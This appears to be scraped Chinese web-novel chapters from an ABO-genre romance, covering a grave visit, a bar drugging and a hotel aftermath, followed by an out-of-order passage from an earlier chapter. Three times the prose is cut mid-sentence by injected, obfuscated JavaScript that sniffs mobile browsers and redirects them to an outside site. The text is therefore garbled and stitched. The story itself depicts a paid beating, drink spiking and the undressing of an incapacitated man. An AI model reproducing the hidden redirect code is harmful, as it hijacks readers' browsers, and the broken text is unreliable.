“你家坟堆那里两三个月就来个人烧点香烧点纸,不是你托人来的吗?” 桑也没有点头,也没有摇头,只问:“你还记得他长什么样子吗?” 李叔回忆了一下,慢慢道:“应该是个Alpha,个子很高,一米八都不止,得有一米九,每次来都穿着西服,长得倒是很帅,但有一次来的时候盯着我的狗看了好几回,我怕他偷狗,特意把狗关在家里好几天没让出门。” 这样的描述,桑也心里已经有数了。 果然是他! 桑也心里一阵恶寒。 甚至后悔没有早点回来春城看望姥姥,才让他频频造访,让这个不请自来的人玷污了姥姥的坟墓,打扰了姥姥安息。 他以什么样的身份给姥姥甚至是他的父母上香,有什么资格给他们上香。 他带来的香蜡纸钱都是罪恶的。 还特意打扫干净。 呵。 桑也捏着那一截香杆,在他完全没有意识到自己用力的情况下就把它捏成了三截。 碎节从他手中掉落时,他才清醒过来。 他脑海中一阵激荡,不假思索地开口道:“李叔,拜托你一件事。” “你说。” 桑也这时又有些难以开口了,毕竟是违法的事情,但他实在钻心地狠,最终还是咬着牙说了出来: “那个人以后要是再来,麻烦你帮我把他赶走,赶不走就抄起棍子打他,医疗费全部由我负责。” “当然我也不会让你平白去冒这样的风险。他打伤了,轻伤十万,重伤百万。” 李叔吓得合不拢嘴,“这这这……” 桑也让李叔把手机拿出来,先给他扫一万,就当是帮忙看守的感谢费。 李叔傻愣愣地就这样把手机打开,听到叮的一声“到账一万”,才结巴完。 “孩子,他跟你有仇哇?” 李叔自然不会懂,在他眼里,帮忙上香甚至是件好事。但看面前这孩子的样子,听他说的话,又觉得那人恐怕是自作主张,帮了倒忙。 桑也收回手机,踩着掉在地上的香杆碎节碾了又碾。 “仇?” 桑也轻声念了一下这个字,像夏天里被烈日炙烤变得滚烫而膨胀的风浪一般似有似无地传入李叔耳朵里。 “看不惯他。” 回到坟茔前,桑也把香蜡点了,纸钱已经拆好,也悉数烧给了三位逝者。 正烧着,烟灰四溢,几只黄狗吠叫着跑了过来,绕着他们转了好几圈。 桑也对桑守安说,下次还是得把老大薅过来,它应该也很期待见到自己的兄弟姐妹们。 二人又和爸妈说了会话,山风吹过,一簇坟前的小草晃了又晃。 桑也伸出手想要拔掉杂草,但他突然想到以前爸妈也会这样安静地听着他们分享碰到的趣事,时不时点点头,表示自己有在认真听,又收回了手。 临走前又去荒地逛了逛,因为没人管,香瓜藤长得到处都是,但没结几个果,瘦巴巴的,估计是没人盼着,就没动力结瓜。 桑也没得挑,只能摘了几个老弱病残瓜回去。 42.第 42 章 回到海风府之后,桑也休息了两天,桑守安则是忙不迭就和律师见面,应该是提起再审和公司组建同时进行。 之前的桑氏地产已经完全被陈张吞食,连名字都不复存在。 但据说经营并不好,至少目前来看,可以说是称得上困难。 桑也躺在床上,头脑中不自觉开始规划在国内的事务,他给助理发消息,让他来海风府一趟,把分居证明拿去法院。 这时手机响起来,是凌星约他去喝点小酒。 桑也不爱喝酒,但凌星听起来似乎很激动,加上偶尔喝一点也不会伤身体,便答应了。 又给助理发消息说他要去酒吧,让助理不用来了。 约见的地点有些出乎桑也预料,不在市中心,只能说还在市区。 到了地方,桑也和凌星往吧台上一坐,一人一杯清酒。 “新开的酒吧?”桑也抿了一口酒,问。 凌星摇头,随即又气愤地捶桌。 “你是不知道,你走之后没两年相渡南就被相召南搞到非洲去了,春山被相召南拿下,半年时间就开遍了S市,把其他酒吧生存空间抢了个一干二净。现在香山路那边,但凡是个酒吧,都叫春山。” “搞得我像喝点酒都只能往外跑。”凌星郁闷不已,“再往外就跑春城去了。” “哪有那么夸张。”桑也低声笑了下。 这间酒吧的位置确实不如香山路的好,但也没远到市区之外,跑到春城就更是夸张之词了。 “我恨他。”凌星斩钉截铁道,神情严肃庄重,仿佛下一秒就要拍案而起了。 “能不能告他垄断啊?” 说完自己都笑了。 二人笑完,桑也才缓缓开口:“你要嫌远,春山也不是不能去。” 其实他知道凌星为什么不肯去春山,还仇意如此之大。但他就是想逗一下凌星。 果然,凌星立刻炸毛:“不是不能去?!当然不能去!你把我当什么人了,我是会为了偷那点懒而背叛你的人吗?” 说着,这人还戏瘾上头,深情并茂地捧着心口,望着桑也:“为了你,我守身如玉整整三年……” 还没等桑也说什么,正花里胡哨丢着雪克杯的调酒师手里一个不查,雪克杯掉在桌面上,发出砰的一声,桑也看过去时,正好撞上调酒师那副深受震撼的表情。 只见调酒师不知道是觉得丢脸,还是认为自己撞破了什么惊天大瓜,桌子也没收拾一下就跑走了。 桑也挑了一下眉。Omega与Omega,或者说,Omega与Beta的结合,终究还是太小众了,给人都吓跑了。 他拿起酒杯碰了一下凌星的杯子,“这下好了,我清誉被毁,你得负责。” 凌星撸了一下头发,仿佛精神Alpha鬼上身了。 闲话到这里,二人越聊越开。 到后来不知怎的就聊到了桑氏地产上。 凌星一边对相召南口诛笔伐,一边对陈张嘲讽不已。 “那么大个桑氏地产被他们收购之后发展成这样,我都嫌丢脸。有钱收购,没钱交房,一人一口唾沫都能把他们管理层淹了。” “我听说陈张地产这三年境况并不好?” “对,前不久还闹上新闻了,因为一直没有交房,有倾家荡产买到烂尾楼而且自身精神本来就不太稳定的人直接拿着菜刀冲到了陈张地产董事长家里,把那老头砍得人事不省,到现在还躺在icu里。” “闹跳楼的就更多了,我都记不清有几回。估计陈张地产现在压力也很大吧。” 桑也一时没有说话,心情莫名有些沉重。 “其实我完全能理解他们,S市的房子动不动就二三十万一平,像陈张接手的清水湾,最贵的卖到了三十二万一平,大多数人买一套房要掏空两三代人的全部积蓄,结果买到烂尾楼,嘶——” “房价都摸清了?”桑也讶异了一下。 却听见凌星嘿嘿笑了两声,“半年前刚买了套房。” “你家那么多房不够你住的。” “那是家里的房,我买的才是我的小家。” 桑也到没想过这一茬,又想到点别的。 “清水湾三年前不是就已经快交房了吗?我记得当时只差门窗内装小区绿化什么的,也烂尾了?” 凌星倒是不太清楚这些,只说:“我看新闻上说砍人那个买的就是清水湾的楼,据他自己说,他想自己接手后续工作,也不要求陈张地产继续干下去。结果物业不给供电,家居建材什么的都运不上楼,他本人又是大厂员工,刚被裁员,两件事情直接给人气得发疯了。” “物业……” “物业没拿到工资,就拿业主撒气。” 桑也默然十几秒钟,心里暗骂了畜生。 “陈张现在是什么情况?虽然三年前我大哥就说房地产市场不太景气,但也不至于闹成现在这样。” “我听说陈张地产老板老的想一口吃成胖子,吞并了桑氏地产,小的呢……”凌星顿时一副神神秘秘的表情,凑到桑也耳边,“又沾点赌。” 桑也抿了一口酒,拳头都攥紧了。 这时凌星的手机来了电话,不知道是谁打来的,他吹胡子瞪眼但一句狠话也没敢说,直到挂完电话,才指着刚回来的调酒师:“我照顾你生意这么多次,你居然告我的状!” 随后又扒着桑也的肩膀哭唧唧说自己必须得走了,祝他玩的开心。 凌星走了,桑也纠结了下要不要现在就离开。 他想着难得放松一次,便坐在吧台前慢慢把一杯酒喝得差不多了。 一边喝,一边在手机上查和陈张有关的新闻,和凌星说得大差不差。 不知道是不是先入为主的缘故,桑也看着陈张董事长那个Alpha儿子的照片,总觉得他有股狠厉之色,像街头混混。 桑也把酒杯退回给调酒师,从高脚凳上下来,准备离开。然而他刚站起身,余光就觑见两道蠢蠢欲动的身影似乎朝他走来。 他稍稍皱了下眉,就见一个样貌端正的Omega站在了他面前,手中端着一杯紫红色的鸡尾酒。 “桑先生,请问我有荣幸请你喝一杯酒吗?” Omega有些腼腆道。 他的羞涩和腼腆与他在酒吧拦人的举措格外矛盾。 桑也刚想推拒,那Omega又说:“我是你的粉丝,亲眼看着你从三年前的小有名气到如今的声名显赫,你的每一幅画每一个细节我都如数家珍,心叶美妆的产品我有全套。所以,可以——给我个机会吗?” Omega双目晶莹,提及他时两眼放光,甚至到了一种饿狼见到羔羊眼冒绿光的地步。说到给个机会时,更是充满了渴求。 类似的表露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472527|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑也在M国也时常遇见,如果不是他之前意外接收了那份奇怪的文件,他绝对想不到竟然会有这么多Omega对他抱有欣赏以外的感情 在这个社会,Alpha与Omega结合是天经地义,Beta与Beta结合是理所当然,Beta肖想Omega是痴人说梦,而Omega和Omega,则是秽乱社会。 但他的粉丝群体里面诡异地出现了众多具有反叛精神的Omega。 平心而论,桑也的漂亮是毋庸置疑的,即使是毫无经验的新手摄影师也能凭着一张他的剪影轻松斩获头奖。而他的能力,又让他的美貌变成某种货真价实的东西。 那么…… “机会”,是什么机会? 桑也莞尔一笑,接过酒杯,“喝酒可以。” 至于别的,还是算了。 Omega眼中闪过一丝失望,但很快消失,取而代之是同样炽热的目光紧紧盯着桑也的脸,或者说,盯着那双唇。 桑也垂眸在酒杯中,突然手机响了起来,铃声在放着音乐的酒吧里并不刺耳,反而是不停的震动仿佛某种无声的催促。 …… 在阴暗的角落,男人站起身来,久久没有坐下,双目如同被胶水粘在了不远处的人身上,一刻也没有挪开。 相召南不自觉攥紧了拳头,因为一秒的犹豫,他只能眼睁睁看着另一个人捷足先登,不仅递上了一杯不知道有没有加什么东西的酒,还用恶心的、狗一样的黏糊眼神盯着桑也! 他却只能在无人问津的地方默默祈祷:不,不要喝! 然而他的祈祷毫无作用。 他看着桑也垂眸,看着桑也拿起手机,不知道想到了什么,又说了句什么,竟然真的喝了一口! 桑也面前那个Omega登时流露出欣喜之色,手舞足蹈朝着桑也鞠了鞠躬,步伐紊乱地倒退着离开了桑也。 随后,桑也将酒杯放在吧台上,接了个电话,手指反复摩梭着高脚杯的杆,整个人背对着相召南。 相召南只能看见那个单薄纤细的背影,目光不由自主移向那原本该微微凸起现在却异常平坦甚至可能稍有凹陷的后颈侧。 心脏抽痛了一下,迫使他移开目光。 然而这一移,他便发现了问题。 那个Omega竟然没走! 正躲在酒吧的一根廊柱后面,不时侧身出来看一眼桑也。 相召南心提到嗓子眼。多年来纵横商界的经验让他对危机有着毫无逻辑的预知感。 现在,他几乎是没有思考就确定了那酒里肯定下了脏东西! 他曾在桑也看不见的地方注视过桑也无数回,也想过冲动一回出现在桑也面前,在桑也回国的当天,更是脑子不清醒地在人家车前守着。 但他心中胆怯。 李由说桑也肯定并不想见到他。 以至于他畏畏缩缩。 然而此时此刻,他根本顾及不了那么多,大步流星走到桑也面前。 恰好桑也挂断了电话。 相召南伸出手,想要拨开那酒杯,“这酒里……” 他没触及酒杯。 酒杯被桑也抢先一步拿在手里。 下一秒,酒杯中紫红色的液体出现在了相召南的脸上,衣襟上,和西服扣子上。 相召南说话的动作像是被按下了暂停键。 43.第 43 章 相召南当然清楚自己的出现并不讨喜,从那天停车库里桑也冷漠的态度就可见一斑。 三年的时间长河流淌,但并没有像冲刷鹅卵石使其干净圆润那样抹去桑也对他的恨。 相召南并不怨,这是他应得的。 只不过即使早就做好了最坏的预期,刚一出现连话都没讲完就被泼了一满杯冰酒,这样的冷淡与厌恶还是让他心抽痛了一下。 又因为彼时他正在说话,那酒液甚至进了他的口腔。 冰冷的液体扑面而来时,还有一股香气翩然而至,让他回过神来后蓦地笑着舔了下唇。 权当奖赏。 泼向相召南的酒液尚在他的脸上和衣服上,少许被他添进舌根贮存,还未起效,但桑也喝进去的那一小口酒已经开始在他的体内游走。 桑也顿时感觉大脑不太清晰,稍作思考后,昏沉的感觉更甚,令他到了神志不清的地步。 泼酒是他的冲动之举。 这样的冲动不仅是对突然出现的相召南做出的下意识反应,更是带着某种怒气的发泄。 那通电话便是导火索。 电话那边,林肯先是简单寒暄一二,便进入了正题。 他说什么? 桑也头有些痛,他揉了揉额角,想起来了一些。 林肯说:“有件事情要麻烦你。” 紧接着就说出了令人发笑的话。 他要桑也配合着和相召南出现在公众视野,并非指某些正式的发布会,或者大佬云集的商会,而是私下见面,让提前安排的记者拍下照片。 还说不用表现得亲昵,最好是矛盾多一些,情绪复杂一些,让人看了能产生许多猜测臆想,引起网友讨论的那种类型。 桑也完全无法理解。 林肯真把他当网红在对待吗? 他说:“我不是演员。” 林肯并没有把他的婉拒当回事,只说:“你可以的。”随后便挂断了电话。 他之所以这么果断地离开M国,一方面是C国才是他的根,另一方面便是他与林肯的矛盾愈发严峻,二人完全不同的理念随着时间的推移到了无法和解的地步。 而他又做不出吃水忘了挖井人的事,念着林肯当初帮扶他的恩情,不好直接撕破脸,才会把自己三年来辛辛苦苦扶起来的基业交给别人。 正憋着一肚子郁气的他眼前下一刻就出现了电话中提及到的人,并且来势汹汹,刚靠近他就做出了抢夺的动作。 在那短短的一瞬间,并不明晰的脑海里,现在这个大步跨来似乎要动手的男人,和多年前双目灼烧着烈焰,射出凌厉光芒,薄唇抿成僵硬的直线,浑身上下透露着不容置疑强硬态度的男人,重叠在了一起。 眩目的酒吧灯光闪了一下,惊惧骇觫的感受涌了上来。 他一边疑虑相召南怎么无处不在,一边以这辈子最快的反应速度把酒泼了出去。 然而他的力气只够他泼出这杯酒了。 他伸出去的手还悬在半空,骤然失力,酒杯跌落在地上,尽管地面铺了地毯,还是摔成了两半。 桑也低着头,有些愣地看着摔坏的酒杯,突然就明白了相召南刚才只说了半截的话后半段是什么。 这酒里被下了药。 他的双目不可置信地放大。 在那个Omega粉丝离开时,粉丝表现得异常兴奋,说自己叫齐橘,喜欢了桑也三年,觉得他能够做出为了摆脱AO之间的病理连结而剜去腺体的举动,是他当之无愧的偶像,没有想到今天能得偿所愿。 秉持着对Omega天然的好感和信任,从未想过有朝一日竟然会被Omega下药! 他反手摸着吧台的柱子,试图借力站着,却浑身一晃,险些摔倒。 可能是他这几年身体养得太差,又或许是药效太猛,只是小小喝了一口,作用来得如此剧烈。 整个人落入了相召南怀里。 相召南把他打横抱起。 顿时天旋地转。 桑也扼住相召南的脖子,“放我下去,不用你管!” “你想做什么?相召南,放我下去!我不需要你故作好心,谁知道你打的什么主意。” 然而相召南并没有停下抱着他走的动作。 “呵,相召南,你个伪君子。什么来提醒我酒里有药,你要真想提醒我,还会等到这个时候?我看你是等着我药效发作、不劳而获吧。” “你真恶心。” 相召南的神情十分隐忍,面色不虞。 见怎么说相召南都不为所动,桑也只能推搡起来,“放开!” 动静不小,周围人投来好奇的目光,却无人上前阻止,只有那个调酒师连忙放下雪克杯,跑到相召南面前堵住他。 “这位先生,你不能这样做。他并不自愿和你……” “我们是合法伴侣。” 调酒师瞬间愣住,啊了半天不知道说什么。 相召南又说,“要看我们的结婚证照片么。” 这话虽然是询问,语气却并不像调酒师想看就给他看的样子。 调酒师吞了吞口水,说了句不好意思打扰了,捂着脸跑回吧台。 桑也这时浑身软得像棉花糖,又热又痒,短暂地说不出话来。 等他能够再次张嘴说话时,他人已经被相召南带到了临近的一家五星级酒店套房里。 桑也用着最后一丝力气,“相召南,你要是敢碰我,我会恨你一辈子。我不会放过你的,不管是你还是你的公司,都得……呃啊,付出代价!” 相召南脱他衣服的手顿住片刻,双目眼眶诡异地红肿着,原本刚硬冰冷的脸竟然也出现了一丝动情之色。 但他只是短暂地停了一瞬间,仿佛在衡量桑也所说的话对他而言有多重。 最后接着剐去桑也的衣服,从衬衫到西裤,再到内裤,悉数被剥去。 随着衣服越扒越干净,露出来的画面也越让相召南感到触目惊心。 他不可置信地看着那白皙肌肤上一道道痊愈后留下的淡粉色疤痕,像粉嫩的软虫,侵蚀了面前人的躯壳。 仿佛有一道电流掠过他的心脏,相召南颤抖着手触碰了一下桑也腰际的伤痕,刚一碰到就触电般收回。 而桑也则痴愣愣地望着天花板,心中仿佛绝境荒原,荒凉得可怕。 然而出乎意料的是,相召南并没有对他上下其手,反而是再次此将他抱起,带去了浴室。 从房间到浴室,距离并不算长,桑也莫名感觉相召南步伐有些发虚,甚至还踉跄了两下。 但他现在的大脑让他来不及也没能力去思考太多,只知道自己被轻柔地放进冰冷的浴缸,紧接着相召南打开了浴缸的放水开关和花洒。 夏天的冷水并不像冬日里那样刺骨,但也没有到体温以上,水漫过他的腰际时,桑也浑身颤了一下。 相召南似乎发现了这一点,粗粝的大掌抚摸了一下他圆顿而瘦削的肩头。 “有点冷,忍一忍。” 他的声音不再如酒吧里反驳调酒师那样中气十足,反而十分沙哑、充满情欲,仿佛被烈酒灼伤过。 桑也在冷水的浸泡中恢复了一丝理性,发出一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他只好轻柔地、发颤地抚摸着桑也的脸:“别怕,别怕,我不碰你……医生马上就来,别怕我。” 他带着桑也的手,把他的手放在自己的脖颈上,把自己的脆弱的生命交到他手上。 说不清这一刻到底是桑也更害怕相召南碰他; 还是相召南更害怕桑也怕他。 不知道是药效作用,还是因为间隔三年的肌肤相亲,相召南再也控制不住腺体,如同开闸的水库,任由冰霜味信息素涛涌而出,瞬间填满了狭窄的浴室。 可是桑也已经闭上了眼,昏了过去,没有任何反应。 相召南将人拢在怀里,滚烫的肌肤相互贴近,却又能怪异地感受到一股舒缓的凉意。 他胸口挂着的无事牌隔在二人胸背之间,随着他拥抱的力气渐强,无事牌的轮廓在桑也白皙的后背上和相召南胸口肌肉上印出长条的红痕。 相召南似是意识到这会伤到桑也,连忙和他分开。他垂下黑色眼眸,用满是情欲的眸凝视着那一点红色。 最后附唇上去。 突然,他从浴缸里站起身来! 强烈的药效一阵又一阵冲上来,相召南一拳锤在了浴室的墙壁上,指骨上的肤肉直接被碾碎出血,红色液体顺着瓷砖缝隙流了下来。 不能…… 至少不能…… 猩红的双目紧盯着血渍,仿佛用尽浑身力气。 ——门铃响了。 44.第 44 章 桑也醒来的时候,已经是上午九点。二十七楼的房间窗户正对着朝日,房间天光大亮,一览无余。 他揉了揉眼睛,坐起来。 突然想起什么,登时绷紧了肌肉,掀开被子看了一下。 没有明显的痕迹。 但他还是不放心,确定四周无人,缓缓伸出手试探了一下,发现的确没有被侵入过的迹象,他才如释重负般后仰躺在软枕上。 右手手背上有一个细小的针眼,床头柜还放着没用完的药和几个玻璃罐。 桑也猜测昨天最后相召南善心大方帮他叫了医生,才免了他委身仇人的不幸。 昏迷前的最后一眼,他模糊的视线里出现了相召南烧红的眼,俨然是中药的表现。现在回想起来他中药估计就是桑也泼的那一下导致的。 在他的印象里,相召南从来不把他的身体放在心上,来了情欲或者莫名其妙生了气,都要拿他泻火。 这回中了药,反而没有兽性大发,才让桑也感到意外。 说不定是桑也那几句咒骂的话起了作用。 至于现在相召南在哪里,桑也并不在意。 躺了一会,彻底清醒过来,桑也便计划着离开。 然而他下床来却找不到自己的衣服,只能穿着酒店的睡袍在套房里到处寻找,浴室,客厅沙发,卧室,他都找遍了。 桑也揉了揉太阳穴,仔细回想了下昨天的场景。 可能是药效导致记忆模糊,像一片片散落的碎片,他努力拼凑了半天也只能想起个大概。 相召南昨天应该就是在卧室脱掉他衣服的。 可卧室被他翻遍了,都没找着衣服。 总不能让他裸奔吧。 桑也头痛了一下,无可奈何地拿起床头柜上的手机,想着给助理打个电话让他送身衣服过来。 结果手机又没电关机了。 桑也冷笑一声。 肯定是相召南搞的鬼。 把他衣服拿走,把手机专门放在床头柜,给他留着,却不给他充电。 是在报复他? 桑也只好翻出酒店自带的充电器,先给手机充上电,等它开机。 他坐在床头,低垂着头,像个易碎的洋娃娃。 就在这时,房门传出异响,有人进来了。 他抬眸望去,便看见相召南一身正装,出现在门口。 还传来一丝香气。 桑也循着味道看去,只见相召南手里拎着一袋小笼包和一杯豆浆,和他西装革履的外表格格不入。 然而更让桑也注目的是,随着目光上移,他竟然在相召南手腕上发现了一只电子手表。 这个从穿着到行为再到习惯都老气横秋的人竟然也赶了趟时髦。 难道是因为那天他说相召南老了? 桑也移开目光。 “醒了。” 桑也默默翻了个白眼。 废话。 “给你买了点早餐。医生说不能吃太油腻的,就给你买的菜包还有豆浆。尝尝吗?” 相召南贴心地把豆浆取出来插上吸管递到桑也面前,虽然站着,该是居高临下的姿势,却微微弓了腰,仿佛在祈求桑也喝下什么圣水。 桑也侧了侧头,拍开他的手,滚烫的豆浆洒了些出来,瞬间把相召南的手背烫红,但他没有丝毫动摇。 “我的衣服呢?” 相召南仍是举着豆浆,仿佛是害怕桑也会认为他被烫伤之后有怨气,柔声道:“你的衣服沾了酒,我叫人送去干洗店了。” “先吃点吧,医生说你身体不好,不能不吃早餐。” 桑也没有施舍给他一个目光。 他在M国时经常忙碌,早上只喝一杯冰美式,勉强垫一下肚子就开始处理工作,久而久之对早餐没有多大的欲望。 “不必。我待会叫助理送衣服来,你可以出去了。” 相召南无动于衷,“这酒店管理很严格,你的助理来了也上不来,还是吃点吧,我给你准备了衣服,你吃点我就把衣服给你。” 桑也登时站起身来,直直看向相召南。 相召南看似处于下风,实则步步紧逼,逼得他喘不过气来,毫无选择。 还以为他变了。 其实他一点也没变。 还是一样的令人作呕。 桑也握了握拳,夺过豆浆杯,喝了一大口,结果豆浆太烫,刚一入口就烫得他哇的吐出来,悉数吐到了相召南的西服上。 相召南愕然站在原地,桑也同意吃早饭带来的喜悦还没过脑,就被桑也可能被烫到了的想法冲散。 他没有管自己西服上的污垢,直接从桑也手中拿回豆浆放在床头柜上,之后立马取出抽屉里酒杯备的冰山矿泉水拧开,连忙递给桑也。 桑也这时也顾不上别的,接过来灌了两大口,才感觉喉口火辣辣的痛感减轻了些。 他捏着矿泉水瓶,面对相召南殷切的照顾一时有些无措。 最后他说:“你自找的。” 相召南神色自若,“嗯。” 桑也气不打一处来。 “衣服给我。” “再吃个包子。”相召南转身拿起袋子,挤出一个婴儿拳头大小的菜包,“听其他顾客说这家店的菜包很香,配方和外面的不一样,你尝尝?” 桑也冷着脸,听相召南说着一些情侣之间的日常话。 “吃不下。” 相召南没有动。 桑也胸口堵了一口气,抢过包子,刚想一口塞到嘴里突然想起方才的事故,这回谨慎了些。 先是用贝齿靠近菜包,轻轻咬开包子皮,紧接着吐出淡粉的舌头感知温度,确保不会再次被烫之后才一口喂进嘴里。 他咽下之后,问:“这样可以了吧?” 相召南似乎又要提出什么要求,桑也拧眉:“别得寸进尺。” 相召南的动作一滞,两秒钟后扬唇一笑,“好。我去给你拿衣服。” 衣服就被他放在客厅,如果桑也硬要闯出去,肯定会发现它们,但好在桑也没有,庆幸桑也没有。 他把衣服取出来放到床边,没等桑也说什么便自觉离开了卧室,还帮忙带上了门。 但桑也并不信任他。 等人走后,他等了半分钟,特意去锁了房门才开始换衣服。 衣服很合身。 一件熨帖的白色衬衣,外搭一件浅咖色风衣,西裤布料柔软却又直挺,很有型。 这时还在夏末,尚未降温,在室外单穿衬衣便足够,但室内往往开了空调,还需要加一件外套。这样看,这套着装还挺合时宜。 穿好之后,他在穿衣镜前整理了一下衣领和袖口,准备离开的时候,突然被一股莫名的思绪冲得头脑发蒙。 他看着镜中衣裳合身的自己。 这三年里他偶尔锻炼一二,虽然因为手术后遗症的原因身体比常人虚弱些,但都在内里,表面上看,他的臂肉的确比过去结实了些。 但因为骨量小,穿上衣服后看不出来,仍是单薄清瘦一片。 和三年前没什么不一样。 心中蓦然感到无尽悲凉。 那四年里,相召南给过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488976|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他钱,却没有给他买过一件衣服。 桑也对相召南穿多大码的衣服多大码的鞋无所不知,但那时的相召南肯定不知道桑也穿多大的衣服,也不知道他爱穿哪个牌子。 而现在,当一切都结束了,相召南突然带着一套他的尺码的衣服闯了进来。 好像那四年他的付出都是枉然。 做那么多,说那么多,都不如给相召南一个巴掌管用。 桑也不自觉攥紧了拳,指尖扣得掌心一阵钻心的疼痛。 半晌,等那股遽然涌上头脑的不甘散去,他才松开手。 他做了几个深呼吸,等自己的呼吸频率恢复平稳,才打开门走出去。 桑也一路往外,没有看相召南一眼,朝着套房房门走去。 相召南似乎有些情急,叫了一声他的名字:“桑也!” 桑也的手刚落到门把手上,还没用力,听见这猝不及防的一声,下意识回了头。 却见相召南不知为何吞吞吐吐没有说出话来,桑也耐心快要耗尽,脸上流露出不耐烦时,相召南才开口道:“加个联系方式吧,等衣服洗好了……我让他们给你送过去。” 桑也蹙眉,“不用。直接扔了。” 相召南目光久久凝望着他,得到否定回复后眼眸中闪过一丝失落,“是吗。” 但并没有如桑也防备的那样恼羞成怒冲上来,只是站在原地,坦然又遗憾。 桑也实在不愿意对上他那双虚伪的眼神,厌恶地偏头,这时他刚充上百分之二十电量的手机震动了一下。 于是他便顺势打开了手机。 屏幕刚一亮起来,映入眼帘的赫然是一条关于他的花边新闻! M国顶级艺术家回国和前夫纠缠不清……什么东西! 桑也顿时睁大了眼,连嘴巴都不自觉张开,下颌随着他震惊的神情微微扭动。 他把目光从手机屏幕移向相召南,咬了咬牙,“相召南,搞这些小动作有意思么?” 相召南愕然,似乎听不懂桑也在说什么。 但他很快反应过来是桑也的手机上出现了什么东西,才让桑也对他的态度突然恶化。 他有些慌乱道:“是有人给你发了什么消息吗?还是什么别的……” 桑也见他装不知情,冷声道:“新闻。别告诉我你不知道。” 相召南闻言立马打开手机,果然也收到了那条推送。 他手有些颤抖,咔嚓一下摁灭了手机,急遽地迈上前几步,握住桑也的手腕。 桑也的手腕十分纤细,仿佛他一用力就会被折断。因而相召南没敢太用力。 也正是他不敢用力,桑也一下子便挣脱了。 相召南被甩开的手还悬在半空,只能自己僵硬地收回来,又对上那双充满嫌恶的棕瞳,心里剧痛不已。 但此时顾不上那些,只想着解释清楚。 “不是我做的,我没有叫人散布这种信息,我……我还没有无耻到那个地步,你信我。”相召南语气越说越低。 “我知道你不信我,但这个,”相召南梗了一下,“真的不是我安排的。” 桑也虽然对相召南没有好脸色,但也清楚他是个不屑于撒谎的人,听了他的话,也知道自己的怀疑太过鲁莽,完全是情绪上头的举措。 但这也并不意味着相召南就全然无辜。 他没有为误会相召南的事道歉,毕竟同样的事情他经历的远多于相召南,也没人和他道歉,不是吗。 反而说:“这个不是,那就是还有别的。” 相召南的神情霎时凝固了。 22-30 第22章 “什么?!” 医生说得不直白, 但也不算委婉,这话什么意思,大家一点就通。 手术室内, 无论是凝视着桑也的桑守安, 还是和其他医护人员闲聊缓解手术压力的陆医生, 齐刷刷回头看着敲门的医生。 陆医生震惊了两秒, 望向桑也:“我不是跟相先生说过你的情况不适合怀孕要他做好措施吗?怎么还是怀孕了?” 随后又后怕地补充一句:“还好按照程序做了检查,要是镇定剂没起效果, 我直接给你做了腺体移除手术, 那真是不死也得死了……” 桑也同样被那句“可能是怀孕了”震得说不出话来,一直到陆医生说完这一连串的话, 他才反应过来可能是那天在车库…… 他太累了, 回到家里直接睡着,忘记了吃药。 下颌有些轻微地颤抖, 他说:“应该是我, 忘记了吃药……” “吃药?”桑守安像是听到了什么不可理喻的笑话,难以置信地回头,握着他手的大掌更用力了些, 在桑也缓缓点头之下,另一只手径直锤在了床上, 床案的晃动显示着他的震怒。 “妈的相召南, 这个混蛋!” 声音完全是从牙缝里挤出来的。 显然手术室里的人都很认可这一观点, 没有人能想到一个患有信息素依赖症、情热期紊乱, 压根不适合生育的人在这么关键的节点竟然会怀孕。 片刻的沉默之后, 敲门进来的医生说:“先把病人推去做个B超检查确定下吧。” 桑守安起身,把他从手术台抱到可以移动的病床上。 来通知的医生似乎也看明白了这诡异的静默,和静默下大家对这个孩子不请自来的困扰, 宽慰道:“不过病人好几个数据都有异常,说不定只是个巧合呢?” “先去做B超吧。” 因为只需要确认是否怀孕,B超检查做得很快。 “确实是怀孕了,根据结果来看,七八周的胎龄,已经错过了药流的时间,如果不想要的话,最好是做人工流产手术。” 桑也听到医生说这个孩子已经有七八周的时间,心脏猛地跳动了一下。 因为镇定剂的作用,他浑身无力,无论是方才在手术室,还是进了B超室,他都有一种失去身体控制权的感觉,然而就在刚刚,他的心脏跳动得如此明显。 就像黑白的画面突然迎来一瞬间的色彩。 只是可惜,立马就消褪了。 “医生,如果打掉孩子的话,他会知道我不要他了吗?” 桑也的声音平静,又带着孩童般的怪想。 医生笑了一下,回复他:“什么孩子,就一个胚胎,刚刚发育出心脏和心跳,没有意识。别想那么多。” 心脏…… 刚刚的心跳,来自于你吗? “……我知道了。” 桑守安沉默地听着弟弟和医生对话,等他们说完,才动身推着病床回到手术室。 “要告诉相先生吗?”陪同前来的陆医生问。 提到相召南,桑守安就来气,他毫不犹豫拒绝:“告诉他做什么?” 陆医生挑眉,表示自己绝对不是想要劝他们留下孩子,他比谁都清楚这个孩子来得有多不是时候。 